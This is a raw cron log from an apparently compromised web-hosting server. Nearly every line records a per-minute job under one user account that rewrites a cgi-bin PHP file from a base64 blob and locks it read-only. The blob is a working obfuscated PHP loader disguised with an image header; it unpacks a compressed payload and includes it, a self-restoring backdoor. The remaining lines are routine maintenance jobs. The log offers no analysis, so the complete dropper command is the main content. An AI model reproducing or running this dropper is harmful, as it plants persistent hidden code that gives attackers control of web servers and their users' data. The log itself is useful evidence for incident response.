Nov 13 13:00:01 server CROND[32120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:01:01 server CROND[591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:01:01 server CROND[592]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 13:01:01 server run-parts(/etc/cron.hourly)[592]: starting 0anacron
Nov 13 13:01:01 server run-parts(/etc/cron.hourly)[606]: finished 0anacron
Nov 13 13:02:01 server CROND[1466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:03:01 server CROND[2332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:04:01 server CROND[3298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:05:01 server CROND[4161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:05:01 server CROND[4160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:05:01 server CROND[4159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:05:01 server CROND[4164]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 13:06:01 server CROND[5124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:07:01 server CROND[5991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:08:01 server CROND[6852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:09:01 server CROND[7810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:09:01 server CROND[7811]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 13:10:01 server CROND[8766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 13:10:01 server CROND[8767]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 13:10:01 server CROND[8765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:10:01 server CROND[8768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 13:11:01 server CROND[9786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:12:01 server CROND[10612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 13:12:01 server CROND[10613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
